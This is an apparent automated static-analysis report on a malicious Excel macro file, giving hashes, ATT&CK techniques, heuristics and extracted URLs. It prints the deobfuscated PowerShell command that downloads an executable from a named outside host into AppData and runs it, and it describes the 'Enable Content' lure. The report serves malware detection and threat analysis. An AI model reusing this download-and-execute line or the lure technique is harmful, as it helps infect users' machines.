Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 e03cca36904d6784…

MALICIOUS

Office (OOXML) / .XLSM

70.9 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300
MD5: 2cf2433e2b4818223baa54f01350f258 SHA-1: 0f561d67a272cb0d7fe0d99801788fef3396e57a SHA-256: e03cca36904d67849b070b88fc3452398de8e7efd91bf2db362eb2bb8cfa82aa
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an XLSM file containing VBA macros. The document body contains a lure instructing the user to 'Enable Content' to view the document. The VBA script, when executed, reconstructs and runs a PowerShell command. This command downloads a file from 'http://welovepetsaq.co.za/op/rua.pif' and saves it as 'Nvaqbdilgdxwntcoluzw.exe' in the user's AppData directory, then executes it. The PowerShell command is obfuscated but reconstructs to: 'New-Object System.Net.WebClient).DownloadFile("http://welovepetsaq.co.za/op/rua.pif", "$env:APPDATA\ProcNaMe") ; Start-Process ("$env:APPDATA\ProcNaMe")'. The script also attempts to save the workbook before execution.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (3) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 3 external hyperlinks — clickable URLs are stored as external relationships. First target: http://go.microsoft.com/fwlink/?LinkId=846286
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/xap/1.0/
    • http://ns.adobe.com/xap/1.0/mm/
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#
    • http://purl.org/dc/elements/1.1/
    • http://ns.adobe.com/photoshop/1.0/
    • http://ns.adobe.com/tiff/1.0/
    • http://ns.adobe.com/exif/1.0/
    • http://go.microsoft.com/fwlink/?LinkId=846286
    • http://go.microsoft.com/fwlink/?LinkId=844969

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
0afd233b1e344c976c06ed3aeecd414e31a86bd74a056e433643014f8827e09e
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2679 bytes
vbaProject_00.bin
e74414a88d9361dabb2b70d2c8c0b045030f95496143ebe227f958cb5901fca1
vba-project OOXML VBA project: xl/vbaProject.bin 20992 bytes